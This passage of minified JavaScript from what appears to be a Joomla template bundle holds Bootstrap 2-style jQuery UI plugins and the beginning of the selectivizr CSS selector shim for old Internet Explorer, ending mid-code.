this.slide("prev")},slide:function(t,n){var r=this.$element.find(".item.active"),i=n||r[t](),s=this.interval,o=t=="next"?"left":"right",u=t=="next"?"first":"last",a=this,f;this.sliding=true;s&&this.pause();i=i.length?i:this.$element.find(".item")[u]();f=e.Event("slide",{relatedTarget:i[0],direction:o});if(i.hasClass("active"))return;if(this.$indicators.length){this.$indicators.find(".active").removeClass("active");this.$element.one("slid",function(){var t=e(a.$indicators.children()[a.getActiveIndex()]);t&&t.addClass("active")})}if(e.support.transition&&this.$element.hasClass("slide")){this.$element.trigger(f);if(f.isDefaultPrevented())return;i.addClass(t);i[0].offsetWidth;r.addClass(o);i.addClass(o);this.$element.one(e.support.transition.end,function(){i.removeClass([t,o].join(" ")).addClass("active");r.removeClass(["active",o].join(" "));a.sliding=false;setTimeout(function(){a.$element.trigger("slid")},0)})}else{this.$element.trigger(f);if(f.isDefaultPrevented())return;r.removeClass("active");i.addClass("active");this.sliding=false;this.$element.trigger("slid")}s&&this.cycle();return this}};var n=e.fn.carousel;e.fn.carousel=function(n){return this.each(function(){var r=e(this),i=r.data("carousel"),s=e.extend({},e.fn.carousel.defaults,typeof n=="object"&&n),o=typeof n=="string"?n:s.slide;if(!i)r.data("carousel",i=new t(this,s));if(typeof n=="number")i.to(n);else if(o)i[o]();else if(s.interval)i.pause().cycle()})};e.fn.carousel.defaults={interval:5e3,pause:"hover"};e.fn.carousel.Constructor=t;e.fn.carousel.noConflict=function(){e.fn.carousel=n;return this};e(document).on("click.carousel.data-api","[data-slide], [data-slide-to]",function(t){var n=e(this),r,i=e(n.attr("data-target")||(r=n.attr("href"))&&r.replace(/.*(?=#[^\s]+$)/,"")),s=e.extend({},i.data(),n.data()),o;i.carousel(s);if(o=n.attr("data-slide-to")){i.data("carousel").pause().to(o).cycle()}t.preventDefault()})}(window.jQuery);!function(e){"use strict";var t=function(t,n){this.$element=e(t);this.options=e.extend({},e.fn.collapse.defaults,n);if(this.options.parent){this.$parent=e(this.options.parent)}this.options.toggle&&this.toggle()};t.prototype={constructor:t,dimension:function(){var e=this.$element.hasClass("width");return e?"width":"height"},show:function(){var t,n,r,i;if(this.transitioning||this.$element.hasClass("in"))return;t=this.dimension();n=e.camelCase(["scroll",t].join("-"));r=this.$parent&&this.$parent.find("> .accordion-group > .in");if(r&&r.length){i=r.data("collapse");if(i&&i.transitioning)return;r.collapse("hide");i||r.data("collapse",null)}this.$element[t](0);this.transition("addClass",e.Event("show"),"shown");e.support.transition&&this.$element[t](this.$element[0][n])},hide:function(){var t;if(this.transitioning||!this.$element.hasClass("in"))return;t=this.dimension();this.reset(this.$element[t]());this.transition("removeClass",e.Event("hideme"),"hidden");this.$element[t](0)},reset:function(e){var t=this.dimension();this.$element.removeClass("collapse")[t](e||"auto")[0].offsetWidth;this.$element[e!==null?"addClass":"removeClass"]("collapse");return this},transition:function(t,n,r){var i=this,s=function(){if(n.type=="show")i.reset();i.transitioning=0;i.$element.trigger(r)};this.$element.trigger(n);if(n.isDefaultPrevented())return;this.transitioning=1;this.$element[t]("in");e.support.transition&&this.$element.hasClass("collapse")?this.$element.one(e.support.transition.end,s):s()},toggle:function(){this[this.$element.hasClass("in")?"hide":"show"]()}};var n=e.fn.collapse;e.fn.collapse=function(n){return this.each(function(){var r=e(this),i=r.data("collapse"),s=e.extend({},e.fn.collapse.defaults,r.data(),typeof n=="object"&&n);if(!i)r.data("collapse",i=new t(this,s));if(typeof n=="string")i[n]()})};e.fn.collapse.defaults={toggle:true};e.fn.collapse.Constructor=t;e.fn.collapse.noConflict=function(){e.fn.collapse=n;return this};e(document).on("click.collapse.data-api","[data-toggle=collapse]",function(t){var n=e(this),r,i=n.attr("data-target")||t.preventDefault()||(r=n.attr("href"))&&r.replace(/.*(?=#[^\s]+$)/,""),s=e(i).data("collapse")?"toggle":n.data();n[e(i).hasClass("in")?"addClass":"removeClass"]("collapsed");e(i).collapse(s)})}(window.jQuery);!function(e){"use strict";function r(){e(t).parent().parent().removeClass("nav-hover");e(".dropdown-backdrop").remove();e(t).each(function(){i(e(this)).removeClass("open")})}function i(t){var n=t.attr("data-target"),r;if(!n){n=t.attr("href");n=n&&/#/.test(n)&&n.replace(/.*(?=#[^\s]*$)/,"")}r=n&&e(n);if(!r||!r.length)r=t.parent();return r}var t="[data-toggle=dropdown]",n=function(t){var n=e(t).on("click.dropdown.data-api",this.toggle).on('mouseover.dropdown.data-api', this.toggle);e("html").on("click.dropdown.data-api",function(){n.parent().parent().removeClass('nav-hover');n.parent().removeClass("open")})};n.prototype={constructor:n,toggle:function(t){var n=e(this),s,o,u,h;if(n.is(".disabled, :disabled"))return;s=i(n);o=s.hasClass("open");h=s.parent().hasClass("nav-hover");if(!h&&t.type=="mouseover")return;u=n.attr("href");if(u&&u!=="#"){window.location=u;return}r();if((!o&&t.type!="mouseover")||(h&&t.type=="mouseover")){if("ontouchstart"in document.documentElement){e('<div class="dropdown-backdrop"/>').insertBefore(e(this)).on("click",r)}s.parent().toggleClass("nav-hover");s.toggleClass("open")}n.focus();return false},keydown:function(n){var r,s,o,u,a,f;if(!/(38|40|27)/.test(n.keyCode))return;r=e(this);n.preventDefault();n.stopPropagation();if(r.is(".disabled, :disabled"))return;u=i(r);a=u.hasClass("open");if(!a||a&&n.keyCode==27){if(n.which==27)u.find(t).focus();return r.click()}s=e("[role=menu] li:not(.divider):visible a",u);if(!s.length)return;f=s.index(s.filter(":focus"));if(n.keyCode==38&&f>0)f--;if(n.keyCode==40&&f<s.length-1)f++;if(!~f)f=0;s.eq(f).focus()}};var s=e.fn.dropdown;e.fn.dropdown=function(t){return this.each(function(){var r=e(this),i=r.data("dropdown");if(!i)r.data("dropdown",i=new n(this));if(typeof t=="string")i[t].call(r)})};e.fn.dropdown.Constructor=n;e.fn.dropdown.noConflict=function(){e.fn.dropdown=s;return this};e(document).on("click.dropdown.data-api",r).on("click.dropdown.data-api",".dropdown form",function(e){e.stopPropagation()}).on("click.dropdown.data-api",t,n.prototype.toggle).on("keydown.dropdown.data-api",t+", [role=menu]",n.prototype.keydown).on("mouseover.dropdown.data-api",t,n.prototype.toggle)}(window.jQuery);!function(e){"use strict";var t=function(t,n){this.options=n;this.$element=e(t).delegate('[data-dismiss="modal"]',"click.dismiss.modal",e.proxy(this.hide,this));this.options.remote&&this.$element.find(".modal-body").load(this.options.remote)};t.prototype={constructor:t,toggle:function(){return this[!this.isShown?"show":"hide"]()},show:function(){var t=this,n=e.Event("show");this.$element.trigger(n);if(this.isShown||n.isDefaultPrevented())return;this.isShown=true;this.escape();this.backdrop(function(){var n=e.support.transition&&t.$element.hasClass("fade");if(!t.$element.parent().length){t.$element.appendTo(document.body)}t.$element.show();if(n){t.$element[0].offsetWidth}t.$element.addClass("in").attr("aria-hidden",false);t.enforceFocus();n?t.$element.one(e.support.transition.end,function(){t.$element.focus().trigger("shown")}):t.$element.focus().trigger("shown")})},hide:function(t){t&&t.preventDefault();var n=this;t=e.Event("hide");this.$element.trigger(t);if(!this.isShown||t.isDefaultPrevented())return;this.isShown=false;this.escape();e(document).off("focusin.modal");this.$element.removeClass("in").attr("aria-hidden",true);e.support.transition&&this.$element.hasClass("fade")?this.hideWithTransition():this.hideModal()},enforceFocus:function(){var t=this;e(document).on("focusin.modal",function(e){if(t.$element[0]!==e.target&&!t.$element.has(e.target).length){t.$element.focus()}})},escape:function(){var e=this;if(this.isShown&&this.options.keyboard){this.$element.on("keyup.dismiss.modal",function(t){t.which==27&&e.hide()})}else if(!this.isShown){this.$element.off("keyup.dismiss.modal")}},hideWithTransition:function(){var t=this,n=setTimeout(function(){t.$element.off(e.support.transition.end);t.hideModal()},500);this.$element.one(e.support.transition.end,function(){clearTimeout(n);t.hideModal()})},hideModal:function(){var e=this;this.$element.hide();this.backdrop(function(){e.removeBackdrop();e.$element.trigger("hidden")})},removeBackdrop:function(){this.$backdrop&&this.$backdrop.remove();this.$backdrop=null},backdrop:function(t){var n=this,r=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var i=e.support.transition&&r;this.$backdrop=e('<div class="modal-backdrop '+r+'" />').appendTo(document.body);this.$backdrop.click(this.options.backdrop=="static"?e.proxy(this.$element[0].focus,this.$element[0]):e.proxy(this.hide,this));if(i)this.$backdrop[0].offsetWidth;this.$backdrop.addClass("in");if(!t)return;i?this.$backdrop.one(e.support.transition.end,t):t()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");e.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one(e.support.transition.end,t):t()}else if(t){t()}}};var n=e.fn.modal;e.fn.modal=function(n){return this.each(function(){var r=e(this),i=r.data("modal"),s=e.extend({},e.fn.modal.defaults,r.data(),typeof n=="object"&&n);if(!i)r.data("modal",i=new t(this,s));if(typeof n=="string")i[n]();else if(s.show)i.show()})};e.fn.modal.defaults={backdrop:true,keyboard:true,show:true};e.fn.modal.Constructor=t;e.fn.modal.noConflict=function(){e.fn.modal=n;return this};e(document).on("click.modal.data-api",'[data-toggle="modal"]',function(t){var n=e(this),r=n.attr("href"),i=e(n.attr("data-target")||r&&r.replace(/.*(?=#[^\s]+$)/,"")),s=i.data("modal")?"toggle":e.extend({remote:!/#/.test(r)&&r},i.data(),n.data());t.preventDefault();i.modal(s).one("hide",function(){n.focus()})})}(window.jQuery);!function(e){"use strict";var t=function(e,t){this.init("tooltip",e,t)};t.prototype={constructor:t,init:function(t,n,r){var i,s,o,u,a;this.type=t;this.$element=e(n);this.options=this.getOptions(r);this.enabled=true;o=this.options.trigger.split(" ");for(a=o.length;a--;){u=o[a];if(u=="click"){this.$element.on("click."+this.type,this.options.selector,e.proxy(this.toggle,this))}else if(u!="manual"){i=u=="hover"?"mouseenter":"focus";s=u=="hover"?"mouseleave":"blur";this.$element.on(i+"."+this.type,this.options.selector,e.proxy(this.enter,this));this.$element.on(s+"."+this.type,this.options.selector,e.proxy(this.leave,this))}}this.options.selector?this._options=e.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},getOptions:function(t){t=e.extend({},e.fn[this.type].defaults,this.$element.data(),t);if(t.delay&&typeof t.delay=="number"){t.delay={show:t.delay,hide:t.delay}}return t},enter:function(t){var n=e.fn[this.type].defaults,r={},i;this._options&&e.each(this._options,function(e,t){if(n[e]!=t)r[e]=t},this);i=e(t.currentTarget)[this.type](r).data(this.type);if(!i.options.delay||!i.options.delay.show)return i.show();clearTimeout(this.timeout);i.hoverState="in";this.timeout=setTimeout(function(){if(i.hoverState=="in")i.show()},i.options.delay.show)},leave:function(t){var n=e(t.currentTarget)[this.type](this._options).data(this.type);if(this.timeout)clearTimeout(this.timeout);if(!n.options.delay||!n.options.delay.hide)return n.hide();n.hoverState="out";this.timeout=setTimeout(function(){if(n.hoverState=="out")n.hide()},n.options.delay.hide)},show:function(){var t,n,r,i,s,o,u=e.Event("show");if(this.hasContent()&&this.enabled){this.$element.trigger(u);if(u.isDefaultPrevented())return;t=this.tip();this.setContent();if(this.options.animation){t.addClass("fade")}s=typeof this.options.placement=="function"?this.options.placement.call(this,t[0],this.$element[0]):this.options.placement;t.detach().css({top:0,left:0,display:"block"});this.options.container?t.appendTo(this.options.container):t.insertAfter(this.$element);n=this.getPosition();r=t[0].offsetWidth;i=t[0].offsetHeight;switch(s){case"bottom":o={top:n.top+n.height,left:n.left+n.width/2-r/2};break;case"top":o={top:n.top-i,left:n.left+n.width/2-r/2};break;case"left":o={top:n.top+n.height/2-i/2,left:n.left-r};break;case"right":o={top:n.top+n.height/2-i/2,left:n.left+n.width};break}this.applyPlacement(o,s);this.$element.trigger("shown")}},applyPlacement:function(e,t){var n=this.tip(),r=n[0].offsetWidth,i=n[0].offsetHeight,s,o,u,a;n.offset(e).addClass(t).addClass("in");s=n[0].offsetWidth;o=n[0].offsetHeight;if(t=="top"&&o!=i){e.top=e.top+i-o;a=true}if(t=="bottom"||t=="top"){u=0;if(e.left<0){u=e.left*-2;e.left=0;n.offset(e);s=n[0].offsetWidth;o=n[0].offsetHeight}this.replaceArrow(u-r+s,s,"left")}else{this.replaceArrow(o-i,o,"top")}if(a)n.offset(e)},replaceArrow:function(e,t,n){this.arrow().css(n,e?50*(1-e/t)+"%":"")},setContent:function(){var e=this.tip(),t=this.getTitle();e.find(".tooltip-inner")[this.options.html?"html":"text"](t);e.removeClass("fade in top bottom left right")},hide:function(){function i(){var t=setTimeout(function(){n.off(e.support.transition.end).detach()},500);n.one(e.support.transition.end,function(){clearTimeout(t);n.detach()})}var t=this,n=this.tip(),r=e.Event("hideme");this.$element.trigger(r);if(r.isDefaultPrevented())return;n.removeClass("in");e.support.transition&&this.$tip.hasClass("fade")?i():n.detach();this.$element.trigger("hidden");return this},fixTitle:function(){var e=this.$element;if(e.attr("title")||typeof e.attr("data-original-title")!="string"){e.attr("data-original-title",e.attr("title")||"").attr("title","")}},hasContent:function(){return this.getTitle()},getPosition:function(){var t=this.$element[0];return e.extend({},typeof t.getBoundingClientRect=="function"?t.getBoundingClientRect():{width:t.offsetWidth,height:t.offsetHeight},this.$element.offset())},getTitle:function(){var e,t=this.$element,n=this.options;e=t.attr("data-original-title")||(typeof n.title=="function"?n.title.call(t[0]):n.title);return e},tip:function(){return this.$tip=this.$tip||e(this.options.template)},arrow:function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},validate:function(){if(!this.$element[0].parentNode){this.hide();this.$element=null;this.options=null}},enable:function(){this.enabled=true},disable:function(){this.enabled=false},toggleEnabled:function(){this.enabled=!this.enabled},toggle:function(t){var n=t?e(t.currentTarget)[this.type](this._options).data(this.type):this;n.tip().hasClass("in")?n.hide():n.show()},destroy:function(){this.hide().$element.off("."+this.type).removeData(this.type)}};var n=e.fn.tooltip;e.fn.tooltip=function(n){return this.each(function(){var r=e(this),i=r.data("tooltip"),s=typeof n=="object"&&n;if(!i)r.data("tooltip",i=new t(this,s));if(typeof n=="string")i[n]()})};e.fn.tooltip.Constructor=t;e.fn.tooltip.defaults={animation:true,placement:"top",selector:false,template:'<div class="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:true,container:false};e.fn.tooltip.noConflict=function(){e.fn.tooltip=n;return this}}(window.jQuery);!function(e){"use strict";var t=function(e,t){this.init("popover",e,t)};t.prototype=e.extend({},e.fn.tooltip.Constructor.prototype,{constructor:t,setContent:function(){var e=this.tip(),t=this.getTitle(),n=this.getContent();e.find(".popover-title")[this.options.html?"html":"text"](t);e.find(".popover-content")[this.options.html?"html":"text"](n);e.removeClass("fade top bottom left right in")},hasContent:function(){return this.getTitle()||this.getContent()},getContent:function(){var e,t=this.$element,n=this.options;e=(typeof n.content=="function"?n.content.call(t[0]):n.content)||t.attr("data-content");return e},tip:function(){if(!this.$tip){this.$tip=e(this.options.template)}return this.$tip},destroy:function(){this.hide().$element.off("."+this.type).removeData(this.type)}});var n=e.fn.popover;e.fn.popover=function(n){return this.each(function(){var r=e(this),i=r.data("popover"),s=typeof n=="object"&&n;if(!i)r.data("popover",i=new t(this,s));if(typeof n=="string")i[n]()})};e.fn.popover.Constructor=t;e.fn.popover.defaults=e.extend({},e.fn.tooltip.defaults,{placement:"right",trigger:"click",content:"",template:'<div class="popover"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'});e.fn.popover.noConflict=function(){e.fn.popover=n;return this}}(window.jQuery);!function(e){"use strict";function t(t,n){var r=e.proxy(this.process,this),i=e(t).is("body")?e(window):e(t),s;this.options=e.extend({},e.fn.scrollspy.defaults,n);this.$scrollElement=i.on("scroll.scroll-spy.data-api",r);this.selector=(this.options.target||(s=e(t).attr("href"))&&s.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a";this.$body=e("body");this.refresh();this.process()}t.prototype={constructor:t,refresh:function(){var t=this,n;this.offsets=e([]);this.targets=e([]);n=this.$body.find(this.selector).map(function(){var n=e(this),r=n.data("target")||n.attr("href"),i=/^#\w/.test(r)&&e(r);return i&&i.length&&[[i.position().top+(!e.isWindow(t.$scrollElement.get(0))&&t.$scrollElement.scrollTop()),r]]||null}).sort(function(e,t){return e[0]-t[0]}).each(function(){t.offsets.push(this[0]);t.targets.push(this[1])})},process:function(){var e=this.$scrollElement.scrollTop()+this.options.offset,t=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,n=t-this.$scrollElement.height(),r=this.offsets,i=this.targets,s=this.activeTarget,o;if(e>=n){return s!=(o=i.last()[0])&&this.activate(o)}for(o=r.length;o--;){s!=i[o]&&e>=r[o]&&(!r[o+1]||e<=r[o+1])&&this.activate(i[o])}},activate:function(t){var n,r;this.activeTarget=t;e(this.selector).parent(".active").removeClass("active");r=this.selector+'[data-target="'+t+'"],'+this.selector+'[href="'+t+'"]';n=e(r).parent("li").addClass("active");if(n.parent(".dropdown-menu").length){n=n.closest("li.dropdown").addClass("active")}n.trigger("activate")}};var n=e.fn.scrollspy;e.fn.scrollspy=function(n){return this.each(function(){var r=e(this),i=r.data("scrollspy"),s=typeof n=="object"&&n;if(!i)r.data("scrollspy",i=new t(this,s));if(typeof n=="string")i[n]()})};e.fn.scrollspy.Constructor=t;e.fn.scrollspy.defaults={offset:10};e.fn.scrollspy.noConflict=function(){e.fn.scrollspy=n;return this};e(window).on("load",function(){e('[data-spy="scroll"]').each(function(){var t=e(this);t.scrollspy(t.data())})})}(window.jQuery);!function(e){"use strict";var t=function(t){this.element=e(t)};t.prototype={constructor:t,show:function(){var t=this.element,n=t.closest("ul:not(.dropdown-menu)"),r=t.attr("data-target"),i,s,o;if(!r){r=t.attr("href");r=r&&r.replace(/.*(?=#[^\s]*$)/,"")}if(t.parent("li").hasClass("active"))return;i=n.find(".active:last a")[0];o=e.Event("show",{relatedTarget:i});t.trigger(o);if(o.isDefaultPrevented())return;s=e(r);this.activate(t.parent("li"),n);this.activate(s,s.parent(),function(){t.trigger({type:"shown",relatedTarget:i})})},activate:function(t,n,r){function o(){i.removeClass("active").find("> .dropdown-menu > .active").removeClass("active");t.addClass("active");if(s){t[0].offsetWidth;t.addClass("in")}else{t.removeClass("fade")}if(t.parent(".dropdown-menu")){t.closest("li.dropdown").addClass("active")}r&&r()}var i=n.find("> .active"),s=r&&e.support.transition&&i.hasClass("fade");s?i.one(e.support.transition.end,o):o();i.removeClass("in")}};var n=e.fn.tab;e.fn.tab=function(n){return this.each(function(){var r=e(this),i=r.data("tab");if(!i)r.data("tab",i=new t(this));if(typeof n=="string")i[n]()})};e.fn.tab.Constructor=t;e.fn.tab.noConflict=function(){e.fn.tab=n;return this};e(document).on("click.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(t){t.preventDefault();e(this).tab("show")})}(window.jQuery);!function(e){"use strict";var t=function(t,n){this.$element=e(t);this.options=e.extend({},e.fn.typeahead.defaults,n);this.matcher=this.options.matcher||this.matcher;this.sorter=this.options.sorter||this.sorter;this.highlighter=this.options.highlighter||this.highlighter;this.updater=this.options.updater||this.updater;this.source=this.options.source;this.$menu=e(this.options.menu);this.shown=false;this.listen()};t.prototype={constructor:t,select:function(){var e=this.$menu.find(".active").attr("data-value");this.$element.val(this.updater(e)).change();return this.hide()},updater:function(e){return e},show:function(){var t=e.extend({},this.$element.position(),{height:this.$element[0].offsetHeight});this.$menu.insertAfter(this.$element).css({top:t.top+t.height,left:t.left}).show();this.shown=true;return this},hide:function(){this.$menu.hide();this.shown=false;return this},lookup:function(t){var n;this.query=this.$element.val();if(!this.query||this.query.length<this.options.minLength){return this.shown?this.hide():this}n=e.isFunction(this.source)?this.source(this.query,e.proxy(this.process,this)):this.source;return n?this.process(n):this},process:function(t){var n=this;t=e.grep(t,function(e){return n.matcher(e)});t=this.sorter(t);if(!t.length){return this.shown?this.hide():this}return this.render(t.slice(0,this.options.items)).show()},matcher:function(e){return~e.toLowerCase().indexOf(this.query.toLowerCase())},sorter:function(e){var t=[],n=[],r=[],i;while(i=e.shift()){if(!i.toLowerCase().indexOf(this.query.toLowerCase()))t.push(i);else if(~i.indexOf(this.query))n.push(i);else r.push(i)}return t.concat(n,r)},highlighter:function(e){var t=this.query.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&");return e.replace(new RegExp("("+t+")","ig"),function(e,t){return"<strong>"+t+"</strong>"})},render:function(t){var n=this;t=e(t).map(function(t,r){t=e(n.options.item).attr("data-value",r);t.find("a").html(n.highlighter(r));return t[0]});t.first().addClass("active");this.$menu.html(t);return this},next:function(t){var n=this.$menu.find(".active").removeClass("active"),r=n.next();if(!r.length){r=e(this.$menu.find("li")[0])}r.addClass("active")},prev:function(e){var t=this.$menu.find(".active").removeClass("active"),n=t.prev();if(!n.length){n=this.$menu.find("li").last()}n.addClass("active")},listen:function(){this.$element.on("focus",e.proxy(this.focus,this)).on("blur",e.proxy(this.blur,this)).on("keypress",e.proxy(this.keypress,this)).on("keyup",e.proxy(this.keyup,this));if(this.eventSupported("keydown")){this.$element.on("keydown",e.proxy(this.keydown,this))}this.$menu.on("click",e.proxy(this.click,this)).on("mouseenter","li",e.proxy(this.mouseenter,this)).on("mouseleave","li",e.proxy(this.mouseleave,this))},eventSupported:function(e){var t=e in this.$element;if(!t){this.$element.setAttribute(e,"return;");t=typeof this.$element[e]==="function"}return t},move:function(e){if(!this.shown)return;switch(e.keyCode){case 9:case 13:case 27:e.preventDefault();break;case 38:e.preventDefault();this.prev();break;case 40:e.preventDefault();this.next();break}e.stopPropagation()},keydown:function(t){this.suppressKeyPressRepeat=~e.inArray(t.keyCode,[40,38,9,13,27]);this.move(t)},keypress:function(e){if(this.suppressKeyPressRepeat)return;this.move(e)},keyup:function(e){switch(e.keyCode){case 40:case 38:case 16:case 17:case 18:break;case 9:case 13:if(!this.shown)return;this.select();break;case 27:if(!this.shown)return;this.hide();break;default:this.lookup()}e.stopPropagation();e.preventDefault()},focus:function(e){this.focused=true},blur:function(e){this.focused=false;if(!this.mousedover&&this.shown)this.hide()},click:function(e){e.stopPropagation();e.preventDefault();this.select();this.$element.focus()},mouseenter:function(t){this.mousedover=true;this.$menu.find(".active").removeClass("active");e(t.currentTarget).addClass("active")},mouseleave:function(e){this.mousedover=false;if(!this.focused&&this.shown)this.hide()}};var n=e.fn.typeahead;e.fn.typeahead=function(n){return this.each(function(){var r=e(this),i=r.data("typeahead"),s=typeof n=="object"&&n;if(!i)r.data("typeahead",i=new t(this,s));if(typeof n=="string")i[n]()})};e.fn.typeahead.defaults={source:[],items:8,menu:'<ul class="typeahead dropdown-menu"></ul>',item:'<li><a href="#"></a></li>',minLength:1};e.fn.typeahead.Constructor=t;e.fn.typeahead.noConflict=function(){e.fn.typeahead=n;return this};e(document).on("focus.typeahead.data-api",'[data-provide="typeahead"]',function(t){var n=e(this);if(n.data("typeahead"))return;n.typeahead(n.data())})}(window.jQuery);!function(e){"use strict";var t=function(t,n){this.options=e.extend({},e.fn.affix.defaults,n);this.$window=e(window).on("scroll.affix.data-api",e.proxy(this.checkPosition,this)).on("click.affix.data-api",e.proxy(function(){setTimeout(e.proxy(this.checkPosition,this),1)},this));this.$element=e(t);this.checkPosition()};t.prototype.checkPosition=function(){if(!this.$element.is(":visible"))return;var t=e(document).height(),n=this.$window.scrollTop(),r=this.$element.offset(),i=this.options.offset,s=i.bottom,o=i.top,u="affix affix-top affix-bottom",a;if(typeof i!="object")s=o=i;if(typeof o=="function")o=i.top();if(typeof s=="function")s=i.bottom();a=this.unpin!=null&&n+this.unpin<=r.top?false:s!=null&&r.top+this.$element.height()>=t-s?"bottom":o!=null&&n<=o?"top":false;if(this.affixed===a)return;this.affixed=a;this.unpin=a=="bottom"?r.top-n:null;this.$element.removeClass(u).addClass("affix"+(a?"-"+a:""))};var n=e.fn.affix;e.fn.affix=function(n){return this.each(function(){var r=e(this),i=r.data("affix"),s=typeof n=="object"&&n;if(!i)r.data("affix",i=new t(this,s));if(typeof n=="string")i[n]()})};e.fn.affix.Constructor=t;e.fn.affix.defaults={offset:0};e.fn.affix.noConflict=function(){e.fn.affix=n;return this};e(window).on("load",function(){e('[data-spy="affix"]').each(function(){var t=e(this),n=t.data();n.offset=n.offset||{};n.offsetBottom&&(n.offset.bottom=n.offsetBottom);n.offsetTop&&(n.offset.top=n.offsetTop);t.affix(n)})})}(window.jQuery)PK!I�a6�� bluejoomla/js/selectivizr-min.jsnu&1i�/*!
 * selectivizr v1.0.2 - (c) Keith Clark, freely distributable under the terms of the MIT license.
 * selectivizr.com
 */
(function(j){function A(a){return a.replace(B,h).replace(C,function(a,d,b){for(var a=b.split(","),b=0,e=a.length;b<e;b++){var s=D(a[b].replace(E,h).replace(F,h))+o,l=[];a[b]=s.replace(G,function(a,b,c,d,e){if(b){if(l.length>0){var a=l,f,e=s.substring(0,e).replace(H,i);if(e==i||e.charAt(e.length-1)==o)e+="*";try{f=t(e)}catch(k){}if(f){e=0;for(c=f.length;e<c;e++){for(var d=f[e],h=d.className,j=0,m=a.length;j<m;j++){var g=a[j];if(!RegExp("(^|\\s)"+g.className+"(\\s|$)").test(d.className)&&g.b&&(g.b===!0||g.b(d)===!0))h=u(h,g.className,!0)}d.className=h}}l=[]}return b}else{if(b=c?I(c):!v||v.test(d)?{className:w(d),b:!0}:null)return l.push(b),"."+b.className;return a}})}return d+a.join(",")})}function I(a){var c=!0,d=w(a.slice(1)),b=a.substring(0,5)==":not(",e,f;b&&(a=a.slice(5,-1));var l=a.indexOf("(");l>-1&&(a=a.substring(0,l));if(a.charAt(0)==":")switch(a.slice(1)){case "root":c=function(a){return b?a!=p:a==p};break;case "target":if(m==8){c=function(a){function c(){var d=location.hash,e=d.slice(1);return b?d==i||a.id!=e:d!=i&&a.id==e}k(j,"hashchange",function(){g(a,d,c())});return c()};break}return!1;case "checked":c=function(a){J.test(a.type)&&k(a,"propertychange",function(){event.propertyName=="checked"&&g(a,d,a.checked!==b)});return a.checked!==b};break;case "disabled":b=!b;case "enabled":c=function(c){if(K.test(c.tagName))return k(c,"propertychange",function(){event.propertyName=="$disabled"&&g(c,d,c.a===b)}),q.push(c),c.a=c.disabled,c.disabled===b;return a==":enabled"?b:!b};break;case "focus":e="focus",f="blur";case "hover":e||(e="mouseenter",f="mouseleave");c=function(a){k(a,b?f:e,function(){g(a,d,!0)});k(a,b?e:f,function(){g(a,d,!1)});return b};break;default:if(!L.test(a))return!1}return{className:d,b:c}}function w(a){return M+"-"+(m==6&&N?O++:a.replace(P,function(a){return a.charCodeAt(0)}))}function D(a){return a.replace(x,h).replace(Q,o)}function g(a,c,d){var b=a.className,c=u(b,c,d);if(c!=b)a.className=c,a.parentNode.className+=i}function u(a,c,d){var b=RegExp("(^|\\s)"+c+"(\\s|$)"),e=b.test(a);return d?e?a:a+o+c:e?a.replace(b,h).replace(x,h):a}function k(a,c,d){a.attachEvent("on"+c,d)}function r(a,c){if(/^https?:\/\//i.test(a))return c.substring(0,c.indexOf("/",8))==a.substring(0,a.indexOf("/",8))?a:null;if(a.charAt(0)=="/")return c.substring(0,c.indexOf("/",8))+a;var d=c.split(/[?#]/)[0];a.charAt(0)!="?"&&d.charAt(d.length-1)!="/"&&(d=d.substring(0,d.lastIndexOf("/")+1));return d+a}function y(a){if(a)return n.open("GET",a,!1),n.send(),(n.status==200?n.responseText:i).replace(R,i).replace(S,function(c,d,b,e,f){return y(r(b||f,a))}).replace(T,function(c,d,b){d=d||i;return" url("+d+r(b,a)+d+") "});return i}function U(){var a,c;a=f.getElementsByTagName("BASE");for(var d=a.length>0?a[0].href:f.location.href,b=0;b<f.styleSheets.length;b++)if(c=f.styleSheets[b],c.href!=i&&(a=r(c.href,d)))c.cssText=A(y(a));q.length>0&&setInterval(function(){for(var a=0,c=q.length;a<c;a++){var b=q[a];if(b.disabled!==b.a)b.disabled?(b.disabled=!1,b.a=!0,b.disabled=!0):b.a=b.disabled}},250)}if(!/*@cc_on!@*/true){var f=document,p=f.documentElement,n=function(){if(j.XMLHttpRequest)return new XMLHttpRequest;try{return new ActiveXObject("Microsoft.XMLHTTP")}catch(a){return null}}(),m=/MSIE (\d+)/.exec(navigator.userAgent)[1];if(!(f.compatMode!="CSS1Compat"||m<6||m>8||!n)){var z={NW:"*.Dom.select",MooTools:"$$",DOMAssistant:"*.$",Prototype:"$$",YAHOO:"*.util.Selector.query",Sizzle:"*",jQuery:"*",dojo:"*.query"},t,q=[],O=0,N=!0,M="slvzr",R=/(\/\*[^*]*\*+([^\/][^*]*\*+)*\/)\s*/g,S=/@import\s*(?:(?:(?:url\(\s*(['"]?)(.*)\1)\s*\))|(?:(['"])(.*)\3))[^;]*;/g,T=/\burl\(\s*(["']?)(?!data:)([^"')]+)\1\s*\)/g,L=/^:(empty|(first|last|only|nth(-last)?)-(child|of-type))$/,B=/:(:first-(?:line|letter))/g,C=/(^|})\s*([^\{]*?[\[:][^{]+)/g,G=/([ +~>])|(:[a-z-]+(?:\(.*?\)+)?)|(\[.*?\])/g,H=/(:not\()?:(hover|enabled|disabled|focus|checked|target|active|visited|first-line|first-letter)\)?/g,P=/[^\w-]/g,K=/^(INPUT|SELECT|TEXTAREA|BUTTON)$/,J=/^(checkbox|radio)$/,v=m>6?/[\$\^*]=(['"])\1/:null,E=/([(\[+~])\s+/g,F=/\s+([)\]+~])/g,Q=/\s+/g,x=/^\s*((?:[\S\s]*\S)?)\s*$/,i="",o=" ",h="$1";(function(a,c){function d(){try{p.doScroll("left")}catch(a){setTimeout(d,50);return}b("poll")}function b(d){if(!(d.type=="readystatechange"&&f.readyState!="complete")&&((d.type=="load"?a:f).detachEvent("on"+d.type,b,!1),!e&&(e=!0)))c.call(a,d.type||d)}var 